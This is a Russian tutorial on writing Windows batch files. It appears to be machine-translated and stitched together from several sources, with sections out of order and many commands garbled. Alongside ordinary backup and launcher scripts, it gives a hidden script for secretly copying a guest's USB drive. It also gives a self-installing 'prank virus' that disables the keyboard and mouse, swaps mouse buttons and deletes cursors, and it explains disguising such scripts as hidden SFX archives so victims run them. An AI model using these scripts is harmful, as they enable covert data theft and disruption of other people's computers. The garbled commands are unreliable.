Как создать bat файл в Windows 7, 8,10

Работа на компьютере
Содержание
  1. Создание bat файла
  2. Основные команды, синтаксис и примеры использования батников
  3. Шаг 1: Создайте файл BAT
  4. Создать новый текстовый документ
  5. Добавить код
  6. Сохранить как BAT-файл
  7. Часть седьмая. Упаковка исполнительного файла
  8. Программный способ упаковки батников
  9. Упаковка батников в SFX-архив
  10. Часть шестая. Хитрости или шутки в сторону
  11. Шпионские штучки. Похищаем содержимое флешки
  12. Маленький вирус в автозагрузку
  13. Создание новой папки
  14. Запуск bat-файлов от имени администратора и по расписанию, скрытый запуск bat
  15. Как запустить BAT файл в Windows 10?
  16. Создание BAT файла переименованием TXT
  17. Запуск приложений из bat-файла
  18. Пример бат файла
  19. Часть четвертая. Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов
  20. Как создать папку из батника
  21. Как создать текстовый файл из батника
  22. Автоматическая очистка папки из батника
  23. Часть третья. Резервное копирование при помощи батников
  24. Автоматическое копирование каталогов в папку backup
  25. Создание бэкапа в архиве
  26. Часть вторая. Синтаксис при написании bat-файлов
  27. Как создать бат-файл в Виндовс 10
  28. Через Блокнот
  29. С использованием командной строки
  30. Копирование между папками с помощью bat-файла
  31. Определение
  32. Другие способы создания

Создание bat файла

Для создания командного файла вам понадобится текстовый редактор (блокнот, блокнот++) и список bat-команд. См пример алгоритма ниже.

1. Создайте текстовый документ с расширением txt. Щелкните правой кнопкой мыши пустую область в проводнике или в другом месте. Наведите указатель мыши на «новый» и выберите «текстовый документ» в подменю. Дайте ему имя, например батник.

Скачайте блокнот++ и установите его. Откройте batnik.txt в notepad++, выберите «кодировки», наведите курсор на «кодировки», «кириллица», нажмите OEM 866. Проделайте этот шаг, если используете вывод русских слов (пояснений) в скрипте, иначе увидите кракозябры (недопустимые символы). Затем введите команды. Например, скопируйте следующий текст:

@эхо выключено
echo Hello — проверка bat-файла
перерыв
каталог c:windows
перерыв

Сохраните документ, а затем измените расширение файла Windows на расширение bat.

4. Дважды щелкните, чтобы запустить batnik.bat для выполнения последовательности команд. После выполнения bat-файл автоматически закрывается.

Также можно открыть Блокнот, нажать Win+R, ввести блокнот в строку и нажать Enter. После написания кода нажмите «файл», а затем «сохранить как». В окне укажите путь хранения, имя файла с расширением bat и нажмите «сохранить». Сделайте то же самое с notepad++, чтобы изменить кодировку (шаг 2), если вы используете русские символы.

Основные команды, синтаксис и примеры использования батников

Вы знаете, как создать bat-файл, теперь пришло время самого интересного, а именно синтаксиса языка-интерпретатора CMD. Очевидно, что пустой пакетный файл не будет работать, он даже не запустится при двойном щелчке по нему. Чтобы скрипт работал, он должен содержать хотя бы одну команду. Для наглядного примера посмотрим, как написать bat-файл для запуска программ. Допустим, когда вы начинаете работу, вы каждый раз запускаете три программы — Chrome, Firefox и VLC. Давайте упростим задачу, создав скрипт, который будет запускать эти программы даже с пятисекундным интервалом.

откройте пустой командный файл и вставьте следующие команды:

start «» «C:/Program Files/Google/Chrome/Application/chrome.exe» timeout /t 05 start «» «C:/Program Files/Mozilla Firefox/firefox.exe» timeout /t 05 start «» «C :/Program Files/VideoLAN/VLC/vlc.exe»

как-создать-бат-фаил-4

Команда start запускает исполняемый файл нужной программы, а команда timeout /t устанавливает интервал между запусками. Обратите внимание на расположение кавычек — они занимают пути, содержащие пробелы. Также, если в пути есть символы кириллицы, команду chcp 1251, меняющую кодировку, нужно вставить в начало скрипта, иначе интерпретатор не сможет корректно прочитать путь.

как-создать-бат-фаил-5

При запуске скрипта последовательно откроются четыре окна консоли, это нормально, после выполнения команд все они закроются автоматически, но вы можете сделать так, чтобы открывалось только первое окно. Для этого код запуска приложения следует изменить следующим образом:

start /b «» «путь»

как-создать-бат-фаил-6

Также может случиться так, что в какой-то момент потребуется приостановить выполнение скрипта, чтобы пользователь мог сам решить, выполнять все остальные команды или нет. Для этого есть команда паузы. Попробуйте заменить timeout на него и посмотрите, что произойдет.

start /b «» «путь» break

как-создать-бат-фаил-7

Рассмотрим еще один пример команд для bat-файла. Напишем скрипт, который в одном случае выключит компьютер, а в другом перезагрузит. Для этого воспользуемся командой shutdown с параметрами /s, /r и /t. При желании вы можете добавить запрос на выполнение действия в пакетный файл, например:

@echo off chcp 1251 echo «Вы действительно хотите выключить компьютер?» пауза выключение /с /ч 0

как-создать-бат-фаил-8

как-создать-бат-фаил-9

Мы объясняем. Первая команда скрывает текст самих команд, вторая задает кириллическую кодировку, третья выводит сообщение для пользователя, четвертая ставит паузу, пятая отключает и перезагружает с ключом /r вместо /s компьютер без традиционной минутной задержки. Если не хотите церемониться с просьбами и перерывами, можете просто оставить пятый слой.

Если при выполнении команды вы видите трещины вместо русского текста, попробуйте преобразовать файл скрипта в ANSI.

Что еще можно сделать со скриптами? Многие вещи, такие как удаление, копирование или перемещение файлов. Допустим, у вас есть определенная папка данных в корне диска D, содержимое которой необходимо немедленно очистить. Откройте командный файл и вставьте в него следующую команду:

часть /A /F /Q «D:/данные»

как-создать-бат-фаил-10

А можно так:

forfiles /p «D:/data» /s /m *.* /c «cmd /c Del @path»

как-создать-бат-фаил-11

В отличие от первой команды, вторая команда удаляет файлы рекурсивно, то есть удаляются все файлы в папке данных, а также файлы в подкаталогах.

Вот еще один полезный пример. Давайте напишем скрипт, который будет делать резервную копию содержимого одной папки и сохранять данные в другой. Команда robocopy отвечает за копирование:

robocopy C:/data D:/backup /e pause

как-создать-бат-фаил-12

Запуск такого командного файла на выполнение скопирует в резервную папку все содержимое папки data, включая вложенные каталоги, пустые и с файлами. Кстати, команда robocopy имеет множество опций, позволяющих очень гибко настраивать параметры копирования.

как-создать-бат-фаил-13

Шаг 1: Создайте файл BAT

Допустим, у вас часто возникают проблемы с сетью; Вы всегда находитесь в командной строке, вводя ipconfig и пингуя Google для устранения неполадок в сети. Через некоторое время вы понимаете, что было бы немного эффективнее, если бы вы просто написали простой файл BAT, поместили его на USB-накопитель и использовали на машинах, которые вы исключили.

Создать новый текстовый документ

Пакетный файл упрощает выполнение повторяющихся компьютерных задач с помощью командной строки Windows. Ниже приведен пример пакетного файла, отвечающего за отображение некоторого текста в командной строке. Создайте новый BAT-файл, щелкнув правой кнопкой мыши пустое место в каталоге и выбрав «Создать», затем «Текстовый документ .

новый_текстовый файл

Добавить код

Дважды щелкните этот новый текстовый документ, чтобы открыть текстовый редактор по умолчанию. Скопируйте и вставьте следующий код в текстовую запись.

@echo off title Это ваш первый пакетный скрипт! echo Добро пожаловать в пакетный скриптинг! перерыв

Сохранить как BAT-файл

Сценарий выше повторяет текст «Добро пожаловать в пакетный сценарий!». Сохраните файл, выбрав «Файл», «Сохранить как» и назовите файл как хотите. В конце имени файла добавьте расширение .bat, например welcome.bat, и нажмите кнопку ОК. Это завершит пакетный процесс. Теперь дважды щелкните только что созданный пакетный файл, чтобы активировать его.

welcome_to_batch

Не думайте, что это все, что может сделать пакетный скрипт. Параметры пакетного сценария — это настраиваемые версии кодов командной строки, поэтому вы ограничены только тем, что может сделать командная строка. Для тех, кто не знаком с этой программой, в командной строке можно использовать множество

Часть седьмая. Упаковка исполнительного файла

Здесь замечу, что мало кто будет запускать ваш батник хотя бы потому, что он имеет слегка подозрительный вид. Есть два способа исправить это:

Читайте также: Как посчитать сумму в строке в Экселе

Программный способ упаковки батников

    • конвертировать bat-файл в *.exe с помощью инструмента (например, bat в exe)
    • создать sfx-архив.

Упаковка батников в SFX-архив

Второй вариант в рамках данной статьи немного подробнее и будет рассмотрен.

— Для начала нам нужно установить на ПК подходящий архиватор (для этого я рекомендую WinRAR, так как в нем создание sfx архивов наиболее удобно и просто).

— Создаем нужный нам батник (батник).

— Щелкните правой кнопкой мыши на пакетном файле, выберите WinRAR => Добавить в архив из контекстного меню (далее по вкладкам)

— Обычен. Любое имя. Формат — РАР. Способ сжатия нормальный. В параметрах архивирования поставьте галочку рядом с «Создать SFX-архив.

— Необязательный. Нажимаем кнопку SFX Options… Вкладка «Общие», выполняем после распаковки — вводим имя заархивированного батника с расширением. На вкладке «Режимы» в разделе «Режим просмотра» установите флажок «Скрыть все». Например, во вкладке «Текст и графика» вы можете добавить в свой архив красивую иконку вместо стандартной. Если вы не художник, значок можно извлечь из любого приложения/игры с помощью стороннего программного обеспечения, такого как Restorator.

— Вот и все. Остальные варианты на ваше усмотрение. Нажимаем кнопку ОК. В исходной папке с батником появится и наш новый sfx-архив.

— Для придания солидности файлу, чтобы он набрал вес, можно «запихнуть» в архив что-нибудь еще, это может быть что угодно, ведь цель — как раз увеличить размер.

— В архиве может быть сколько угодно батников, при создании архива указываем, что надо запустить первый (имя с расширением пишем), чтобы следующий запускался после него, на конце (или в нужном нам месте) пишем мы

вызов сани.летучая мышь

Когда дело доходит до этой команды, система переключится на запуск файла с именем sled.bat, а затем вернется к исходному.

Если нужно, чтобы работа над первым батником не прерывалась, используем другую команду

запустить sled.bat к содержимому

Часть шестая. Хитрости или шутки в сторону

Здесь мы рассмотрим еще несколько интересных возможностей использования пакетных файлов. Из названия понятно, что часть действий может повредить систему (хотя это можно сделать и «голыми руками»), но если все делать с умом, то может получиться довольно интересно.

Шпионские штучки. Похищаем содержимое флешки

В самом начале статьи было указано, что команды в пакетных файлах выполняются последовательно, если это не указано в самом исполняемом файле. Рассмотрим этот частный случай. Угу, скажем. Вы знаете, что к вам придет друг (а может и друг) с просьбой произвести какие-то манипуляции с его/ее флешкой, и вам очень хотелось бы слить все данные с этого накопителя на свой ПК. Но делать это на глазах у гостя не очень удобно, да и получить можно только «красную карточку». Что мы делаем в таком случае? Создайте пакетный файл со следующим содержимым

Создаем ярлык на этот bat файл, в свойствах ярлыка указываем, что файл запускается в свернутом состоянии. Дважды щелкните метку. Что у нас есть.
:test указывает на начало пакетного файла
если есть g:goto go проверяет наличие диска G: в компьютере, если он есть, то переходим к части :go (суть в том, что обычно вставленная флешка получает первую свободную букву латиницу в системе обозначить, отследить это на компе не так уж и сложно.Именно эту букву мы указываем вместо G:)
чтобы проверить, не был ли найден диск G:, вернитесь к началу раздела :test
:go указывает на начало второй части командного файла
xcopy «G:*.*» «C:oops*.*» копирует все содержимое диска G: в папку oops на диске C:

После того, как запускаем файл с ярлыка, он запускается в свернутом состоянии и циклически проверяет наличие флешки в ПК. Как только там загорится флешка, она начнет копировать с нее все данные в указанную папку, при этом не появится обычное окно копирования файлов, все будет отображаться в свернутом окне терминала. Что ж, все, что было описано выше, пригодится на вашем компьютере, но есть некоторые вкусности, с которыми можно подшутить над другом/любимым….

Маленький вирус в автозагрузку

В общем все будет выглядеть так: отправляем файл человечку любым удобным способом, он запускает его на своем ПК, немного смеемся, а потом рассказываем человечку в чем дело и как можно исправить это. Обычно, если что-то пойдет не так, первое, что обычно делает пользователь, — перезагружает компьютер. Для того, чтобы наш батник продолжал работать после перезагрузки, необходимо добавить его в автозагрузку (подчеркиваю, такие приколы работают только с не самыми опытными пользователями ПК, более опытные скорее всего легко найдут причину системного метаморфоза и легко избавиться от нее). Для этого введите в командный файл следующее

копировать %0 c:»документы и настройки»»все пользователи»»меню Пуск»ПрограммыАвтозагрузка копировать %0 %ПРОФИЛЬ ПОЛЬЗОВАТЕЛЯ%AppDataRoamingMicrosoftWindows»Меню Пуск»ПрограммыАвтозагрузка

Первая строка добавляет файл в автозагрузку для всех пользователей Windows XP (для конкретного пользователя укажите %USERPROFILE%»Главное меню»ПрограммыАвтозагрузка)

Вторая строка добавляет файл в автозагрузку Windows 7.

Начало обеих строк как копия %0 означает копирование «я».

Они сделали это. Еще хотелось бы видеть забавную надпись после запуска батника и каждый раз при загрузке ПК, типа «ТЫ ХРОМОЙ!»

Для этого добавьте следующее

Echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.jse echo WSHShell.Popup(«ТЫ ХРОМОЙ!»); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js

Эта часть основана на сценарии. Подробно расписывать не буду, кому интересно, найдет материал в сети. Скажу лишь, что для некоторых операционных систем внешний вид этого блока может немного отличаться. Так, например, в семерке (Win7) скрипт может выглядеть так

Echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.jse echo WSHShell.Popup («НАПИШИТЕ СЮДА ВСЕ»); >> %temp%mes.jse start %temp%mes.jse deltree /y %temp%mes.jse

Тем не менее, первый вариант будет работать.

Также окно с текстом можно добавить в обход скриптов, то есть стилизовать, окно от текущего пользователя, с указанием текущей даты и времени

msg * «ТЫ ХРОМОЙ!» > ноль

Идем дальше, ближе к угощениям.

Чтобы сделать наш объект для экспериментов еще более запутанным, вы можете дополнительно добавить в тело пакетного файла один из следующих элементов:

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul — эта строка меняет местами кнопки мыши. Очень забавная штука, но если человечек не отличается уравновешенной психикой, советую от этого отказаться. Чтобы изменить обратно кнопки мыши, заходим в панель управления в элемент мыши и там ставим галочку в поле изменить назначение кнопок….

Команда rundll32 keyboard, disabled отключит клавиатуру до следующей перезагрузки, а rundll32 mouse, disabled сделает то же самое с мышью. Если пакетный файл находится в автозагрузке, этот случай, конечно, повторится при перезапуске.

rundll32 shell32, SHExitWindowsEx 1 — выключит ПК.

rundll32 shell32, SHExitWindowsEx 2 — перезагрузит ПК.

rundll32 url.dll, FileProtocolHandler https://ya.ru/ — откроет страницу поиска Яндекса в Internet Explorer (конечно, вместо ya.ru можно ввести любой сайт). Если проявить фантазию, можно придать батнику особую пикантность.

Что ж, часть «%SystemRoot%Cursors*.*» >nul удалит указатели мыши (используйте с осторожностью и в самых крайних случаях!)

Теперь осталось только собрать нужные строки в единый код

@echo off chcp 1251 клавиатура rundll32, отключить %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nil copy %0 c:»документы и настройки»»все пользователи»»главное меню»программызагрузочная копия %0 % USERPROFILE% AppDataRoamingMicrosoftWindows»Start Menu»ProgramsStartup rundll32 url.dll, FileProtocolHandler http://www.thecleverest.com/countdown.swf Echo var WSHShell = WScript.CreateObject(«WScript.Shell «); > %temp%mes.js echo WSHShell.Popup(«ТЫ ХРОМОЙ!»); >> %temp%mes.js запустить %temp%mes.js deltree /y %temp%mes.js для содержимого

Создание новой папки

Папка в этом контексте рассматривается так же, как каталог. Сделать это не сложно, я знаю специальную команду.

Сначала введите путь к каталогу, в котором должен появиться новый файл. После этого командой md записывается имя нового каталога. Например: папка md.

Указанная команда является аббревиатурой выражения make directory (в переводе сделать каталог). Затем вы можете создать файл в только что созданной папке с помощью определенных команд. Обычно этот способ выбирают те, кому стандартные решения не подходят.

Запуск bat-файлов от имени администратора и по расписанию, скрытый запуск bat

Теперь вы знаете, как создавать пакетные файлы, и имеете общее представление о языке интерпретатора CMD. Это были основы, теперь пришло время познакомиться с некоторыми полезными функциями для работы с bat-файлами. Известно, что программам требуются права администратора для выполнения определенных действий. Батникам они тоже могут понадобиться. Самый очевидный способ запустить скрипт от имени администратора — щелкнуть по нему правой кнопкой мыши и выбрать соответствующую опцию в контекстном меню.

как-создать-bat-fail-14.jpg

Кроме того, вы можете гарантировать, что определенный пакетный файл всегда будет запускаться с повышенными привилегиями. Для этого нужно создать обычный ярлык на такой скрипт, открыть его свойства, нажать кнопку «Дополнительно» и в открывшемся окне поставить галочку «Запуск от имени администратора». Этот способ хорош еще и тем, что позволяет выбрать любую иконку для ярлыка, тогда как файл с расширением BAT или CMD всегда будет иметь невзрачный вид.

как-создать-bat-fail-15.jpg

Скрипты, как и все приложения, можно запланировать для запуска. Команда timeout /t здесь не совсем уместна; для отложенного запуска лучше всего использовать встроенный планировщик заданий Windows. Здесь все просто. Открываем Планировщик командой taskschd.msc, определяем триггер, выбираем действие «Запустить программу» и указываем путь к bat файлу. Все, скрипт запустится в нужное время.

  • pp_image_108139_yc696sky3tkak-sozdat-bat-fail-16.jpg
  • pp_image_108140_edx1a9xp6tkak-sozdat-bat-fail-17.jpg
  • pp_image_108141_4z7sewdq9tkak-sozdat-bat-fail-18.jpg
  • pp_image_108142_sn3qmffratkak-sozdat-bat-fail-19.jpg
  • pp_image_108143_lhcn9vfv1tkak-sozdat-bat-fail-20.jpg
  • pp_image_108139_yc696sky3tkak-sozdat-bat-fail-16.jpg
  • pp_image_108140_edx1a9xp6tkak-sozdat-bat-fail-17.jpg
  • pp_image_108141_4z7sewdq9tkak-sozdat-bat-fail-18.jpg
  • pp_image_108142_sn3qmffratkak-sozdat-bat-fail-19.jpg
  • pp_image_108143_lhcn9vfv1tkak-sozdat-bat-fail-20.jpg

И, наконец, еще один интересный момент. При запуске bat-файла на экране появляется окно командной строки, пусть даже всего на долю секунды. Можно ли заставить скрипт работать в скрытом режиме? Можно, и несколькими способами. Самый простой заключается в следующем. Создаем ярлык к bat файлу, открываем свойства и в меню «Окно» выбираем «Свернуть в иконку». После этого единственным видимым признаком того, что скрипт запущен, будет появление значка CMD на панели задач, но никакие окна открываться не будут.

как-создать-bat-fail-21.jpg

Если вы хотите полностью скрыть выполнение скрипта, вы можете воспользоваться «костылем» — VBS-скриптом, который будет запускать ваш батник в скрытом режиме. Текст скрипта приведен ниже, сохраните его в файл hidden.vbs, предварительно заменив путь во второй строке кода D:/sсript.bat на путь батника.

Установите WshShell = CreateObject(«WScript.Shell») WshShell.Run chr(34) & «D:script.bat» & Chr(34), 0 Установите WshShell = Ничего

как-создать-bat-fail-22.jpg

Есть и другие варианты, например, использование инструмента «Скрытый запуск», который позволяет запускать исполняемые и пакетные файлы в скрытом режиме, в том числе без запроса UAC.

И это было все на данный момент. Информацию о создании BAT-скриптов можно легко найти в Интернете. Также рекомендуется ознакомиться с учебным пособием Уильяма Станека «Командная строка Microsoft Windows». Несмотря на то, что с момента выхода книги прошло более десяти лет, информация в ней до сих пор актуальна.

cmd-создать-file.jpg

Командная строка позволяет реализовать множество опций, включая создание файла. В этом процессе нет ничего сверхсложного. Вам просто нужно выполнить определенные шаги. Они представлены в этой статье. Также предоставляется определение самой командной строки, так как некоторые пользователи не имеют о ней представления.

Как запустить BAT файл в Windows 10?

Основной способ запуска командного файла — двойной щелчок по значку. Однако открыть его можно и другим способом — с помощью командной строки.

Командная строка Windows

Чтобы открыть BAT-файл с помощью командной строки, выполните следующее:

  • откройте каталог, в котором находится пакетный файл.
  • Определите имя файла.
  • откройте командную строку.
  • Введите название документа с расширением.

Способ запуска из командной строки становится более ценным по мере роста количества пакетных файлов. Если вы помните имя и расширение нужного документа, вы откроете его, даже если забыли точную директорию.

Создание BAT файла переименованием TXT

Также в Windows 11 и Windows 10 вы можете создавать файлы BAT, переименовывая текстовые файлы (с расширением *.txt). Другими словами, вы можете сначала создать обычный текстовый документ с расширением файла .txt, хранить в нем все необходимые команды и только потом превратить его в исполняемый пакетный файл, изменив расширение файла с .txt на .bat.

Для использования этого метода необходимо включить отображение расширений в окне «Параметры папок». В Windows 10 для этого откройте любую папку, перейдите на вкладку «Вид» и нажмите кнопку «Параметры».

кнопка опций

В Windows 11 для этого нужно открыть любую папку, нажать на кнопку с тремя точками и в открывшемся меню выбрать «Настройки».

настройки в виндовс 11

Доступ к параметрам папки также можно получить с помощью меню «Выполнить». Для этого нажмите комбинацию клавиш Win-R и введите команду «control.exe folders».

меню запуска

Какой бы метод вы ни выбрали, перед вами откроется окно «Параметры папок». Здесь нужно перейти на вкладку «Вид» и отключить функцию «Скрыть расширения для зарегистрированных типов».

скрыть функцию расширения

После этого при переименовании можно будет изменить расширение.

переименовать файл

Изменив расширение с TXT на BAT, вы получите исполняемый командный файл.

Запуск приложений из bat-файла

В первой части статьи я говорил о BAT-файлах в целом. Теперь стало понятно — что это такое и с чем его едят. Во второй части поговорим о более конкретных вещах. Например, о том, как с помощью BAT-файла запустить несколько приложений с определенными настройками или установить программу автоматически, чтобы не тратить время на ответы типа Согласны ли вы с условиями лицензионного соглашения? и не нажимайте никаких дополнительных кнопок.

Выше было описано несколько способов запуска приложений с помощью BAT-файла. Самая первая — короткая команда для запуска установленной в системе программы.

Это не всегда работает. Поэтому такая методика может быть полностью применима к конкретной системе, но не подходит в качестве универсального решения. Если цель — заставить BAT-файл работать везде и всегда, используйте полные пути:

запустите C:»Program Files»»Mozilla Firefox»firefox.exe

Я также заметил, что команда для завершения должна присутствовать в BAT-файле:

запустить C:»Program Files»»Mozilla Firefox»firefox.exe выйти

Пример бат файла

Теперь рассмотрим создание bat-файла в Windows 7, 8, который предоставляет информацию о сети, проверяет интернет-соединение и наглядно показывает действие батников. Создайте bat-файл и пропишите эти строки.

ЭХО ВЫКЛ
:: очиститель.
ЭХО Информация о соединении.
:: вывод на экран текста, следующего за служебным словом ECHO.
IPКОНФИГ/ВСЕ
:: выводит информацию обо всех сетевых подключениях.
ПЕРЕРЫВ
:: приостановить выполнение скрипта, чтобы вы могли видеть информацию о сети.
ПИНГ
:: Пинг, проверяет наличие (отсутствие) интернет-соединения
Операция ЭХО завершена. Нажмите Ввод!
:: Вывести на экран слова после ECHO, что означает выполнение PING.
ПЕРЕРЫВ
:: Эта последняя команда предназначена для просмотра сведений о соединении. Если бы этого не было, скрипт батника останавливался и окно закрывалось.

Часть четвертая. Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов

Как создать папку из батника

Начнем с самого простого. Создайте папку. Папка создается командой MD

Чтобы создать папку с именем backup в корне диска D:, нам нужно собрать следующий пакетный файл

@echo off chcp 1251 MD «D:backup»

Например, если вам каждый день нужна новая папка с датой вместо названия, пакетный файл будет выглядеть так

@echo off chcp 1251 set datetemp=%date:~-10% MD «C:%datetemp%»

Здесь со строкой set datetemp=%date:~-10% мы создаем переменную datetemp на время действия командного файла и присваиваем ей 10 символов системного значения даты;

Как создать текстовый файл из батника

С созданием пустых текстовых файлов дело обстоит немного сложнее. Такой команды просто нет, в этот файл надо что-то писать. Для выхода из ситуации используем значение nul (это даже не значение null, а его отсутствие)

@echo off chcp 1251 копировать nul «имя файла».txt

Также, как и в примере с папкой, можно сделать имя текущей датой

@echo off chcp 1251 set datetemp=%date:~-10% copy nul «%datetemp%».txt

Автоматическая очистка папки из батника

Теперь что касается удаления. Также довольно часто используется рабочая область для пакетных файлов. Так, например, без помощи специальных программ можно удалять temp на машине при каждом запуске (опять же, поместив батник в автозагрузку). Содержание будет следующим

@echo off chcp 1251 cd C:WindowsTemp echo Y|del *.*

Строкой cd «C:WindowsTemp» переходим во временную папку

Строкой echo Y|del *.* удаляем содержимое этой папки (не саму папку!)

Часть третья. Резервное копирование при помощи батников

Резервное копирование данных — полезное и поэтому очень распространенное явление. Существует большое количество программ, отличающихся друг от друга функционалом, условиями распространения, уровнем (глубиной проблемы) и т д. Несомненно, пользоваться хорошей и красивой программой удобно и приятно, но если ваши задачи не слишком сложно, то элементарные резервные копии организуются без использования стороннего софта, исключительно с помощью ОС.

Автоматическое копирование каталогов в папку backup

Чтобы скопировать данные, используйте команду копирования (копирование файла/файлов) или xcopy (копирование каталогов). То есть, допустим, нам нужно сделать резервную копию содержимого папки, где находятся ваши данные для выполнения задания (материалы, заявки, черновик самой работы и так далее).

В этом случае текст будет следующим

@echo off chcp 1251 xcopy «D:diplom*.*» «E:backupdiplom*.*»

Где D:diplom — папка, в которой находятся все материалы диплома, а E:backupdiplom — последняя директория для резервной копии.

Создаем батник, кидаем в автозагрузку (пуск — все программы — автозагрузка), и при каждом включении компьютера будет создаваться бэкап (pk) Немного усложним. Убедимся, что при включении ПК старые данные сохраняются в папке diplom_old, а новые данные сохраняются в папке diplom. Тогда командный файл будет выглядеть так

@echo off chcp 1251 del «E:backupdiplom_old» /s /q rmdir «E:backupdiplom_old» /s /q rename «E:backupdiplom» «diplom_old» xcopy » D: диплом*.*» «E:резервная копиядиплом*.*»

часть удаляет созданный ранее второй ПК.
rmdir переименовывает первый pk во второй.
xcopy создает новый pk.

атрибут /s применяет команду ко всем подкаталогам, атрибут /q отключает запрос подтверждения. Если в двух копиях нет смысла, то можно сделать так, чтобы из исходной папки были заменены только те файлы, которые были изменены, те, которые не были изменены, или удалены вовсе. Для этого пишем следующее

@echo off chcp 1251 xcopy «D:diplom*.*» «E:backupdiplom*.*» /E /F /H /R /K /Y /D

Создание бэкапа в архиве

Ну и последнее, что здесь следует рассмотреть, вероятно, на данном этапе, это резервные копии архивов

Рассмотрим изменившуюся прошлую ситуацию. Предположим, нам нужно делать копию папки, завернутой в архив, при каждом включении ПК.

Нам нужно поставить в автозагрузку батник со следующим содержимым

@echo off chcp 1251 c:PROGRA~1WinRARWinRAR.exe a -o+ -agDD-MMM-YY–HH-MM-SS «E:backup» «D:diplom»

Архив для папки D:diplom будет создан в E:backup, именем будет дата и время создания архива, т.е например 16-Aug-12-14-06-53

Часть вторая. Синтаксис при написании bat-файлов

  • Каждая команда вводится с новой строки;
  • Все команды выполняются последовательно, за исключением тех случаев, когда есть переход на определенную его часть внутри самого батника;
  • Комментарии можно добавить в пакетный файл двумя способами:
    — либо после двух двоеточий::jump на копируемую часть — либо командой goto, т.е вводится команда goto, затем место для перехода, а между ними должен начинаться комментарий ———— — ———————- —— —— Этот пакетный файл используется для резервного копирования задачи —— —— ————————— ——- — начало
  • Если команду нужно вводить с атрибутом, сначала введите команду, затем пробел, косую черту и собственно клавишу копирования /Y /?
  • Чтобы скрыть окно терминала выполняемой команды, можно поставить собачку @ в начале строки, но если вы хотите скрыть отображение выполнения всех команд, то проще (не ставить собачку в каждой строка) в начале батника указываем здесь @echo off, команда echo off скрывает окна, а собака перед ней запрещает отображение выполнения эха под себя
  • Все каталоги внутри команд, для исключения возможных ошибок, будем брать в кавычки;
  • По умолчанию при работе с кириллическим текстом в выводе можно получить иероглифы, при работе с папками/файлами, имеющими русские названия, вообще ничего не может произойти, это из-за используемых кодировок, так что во избежание таких проблем в начале батника укажем кодировку корректно работающую с кириллицей следующей командой chcp 1251
  • Есть команды (такие как удаление файлов, форматирование), которые могут требовать подтверждения действий. Иногда это очень нежелательно, в таком случае можно заранее написать ответ в самом батнике. Ответ был зарегистрирован РАНЬШЕ! команда и отделяется от нее вертикальной чертой |Y|del
  • В командной строке (и, следовательно, в пакетных файлах) при указании каталога иногда удобнее использовать переменные, чем набирать полный путь cd %APPDATA%

Как создать бат-файл в Виндовс 10

Вы можете создать его двумя способами, используя текстовый редактор или командную строку. Рассмотрим каждый из них подробнее.скриншот_4

Через Блокнот

Вы можете создать объект в Windows, используя любой текстовый документ. Использование Блокнота считается наиболее доступным и простым вариантом, актуальным во всех редакциях операционной системы.скриншот_5

Пошаговые инструкции:

  • откройте меню поиска.

скриншот_6

  • Введите поисковик: блокнот или блокнот.

скриншот_7

  • откройте приложение.

скриншот_8

  • Вставьте команду в текстовый редактор, чтобы выполнить запрос.

скриншот_9

  • Выберите вкладку «Файл» вверху».

скриншот_10

  • Нажмите «Сохранить как» в меню».

скриншот_11

  • Выберите место для хранения.

скриншот_12

  • Введите правильное расширение.

скриншот_13

  • В окне Тип файла выберите Все файлы».

скриншот_14

  • Сохранить изменения.

скриншот_15

запуск Блокнота без прав администратора не позволит сохранить объект в системной папке С. Для этого можно сначала сохранить его в другом месте, а затем переместить на нужный диск. Или запустить от имени администратора.скриншот_16

После выполнения всех пунктов бат будет готов к выполнению поставленных задач. После запуска редактора программа автоматически начнет работу. Если в дальнейшем пользователю потребуется внести коррективы в файл, достаточно щелкнуть по нему правой кнопкой мыши, выбрать опцию «Редактировать».скриншот_17

Если не получится, откройте блокнотом.скриншот_18скриншот_19

Затем внесите коррективы и сохраните.

С использованием командной строки

Программное обеспечение поставляется с Windows. Консоль помогает пользователю взаимодействовать с компьютером, вводя команды. Командная строка работает в собственной оболочке, предназначенной для продвинутых пользователей. Если вы не можете создать бат в «десятке» с помощью Блокнота, поможет этот интерфейс. Файлы bat, созданные через командную строку, будут запускаться по тому же пути.скриншот_20

Пошаговые инструкции:

  • Начать поиск.

скриншот_6

  • Введите команду: cmd.

скриншот_21

  • Введите: copy con c:lumpics_ru.bat, где copy con — значение, создающее текстовый документ. Остальное — это адрес, имя и расширение файла.

скриншот_22

  • Введите текст на следующей строке.

При заполнении вручную пользователь может перейти на новую строку, нажав: «Ctrl+Enter». Если пользователь подготовил текст заранее, нажмите ПКМ в окне. Из буфера обмена вся информация автоматически попадет в строки.скриншот_23

  • Сохраните данные, нажав одновременно: «Ctrl + Z».
  • Нажмите Ввод».

скриншот_25

Если все шаги выполнены, в окне появится уведомление.скриншот_24

Чтобы проверить правильность работы, нужно открыть его двойным кликом ЛКМ по названию.

Копирование между папками с помощью bat-файла

В следующем примере показано, как скопировать папку с диска D: на диск E. Параметр /s позволяет копировать каталоги и подкаталоги. Параметр i/ создает новый каталог, в который команда xcopy копирует файлы.

Копирование-между-папками-с-помощью-бат-файла.jpg
Копирование между папками с помощью bat-файла

При этом как базовый файл остается на диске D, так и копируется в новое место, указанное в bat-файле.

Определение

cmd-создать-file1.jpg

Командная строка (cmd) — это программная оболочка, являющаяся обязательным компонентом операционной системы (ОС). Он организует непосредственную связь между компьютером и пользователем. Это также помогает решить некоторые дилеммы, связанные с общим функционированием ПК и отдельных программ.

Живые примеры его использования следующие:

  1. Заражение компьютера вирусом или вредоносным ПО.
  2. Проблемы в системных файлах.
  3. Восстановить Windows (на сленге пользователей — «Windows»).
  4. Настройка внутриигровых опций.

В нем необходимо прописать команды для реализации тех или иных задач. Эта процедура занимает значительно меньше времени, чем при работе с графическим интерфейсом.

Работать с ним нужно очень внимательно и осторожно. В прописанных командах не должно быть ошибок. В противном случае можно получить совершенно неожиданные результаты, которые впоследствии станут проблемами.

Другие способы создания

На «десятке» можно создавать пакетные файлы, переименовывая обычные текстовые файлы с расширением .txt. Простыми словами, создайте стандартный документ, заполните его текстом и сохраните. После преобразования формата в пакетный изменил расширение на .bat.скриншот_26скриншот_27

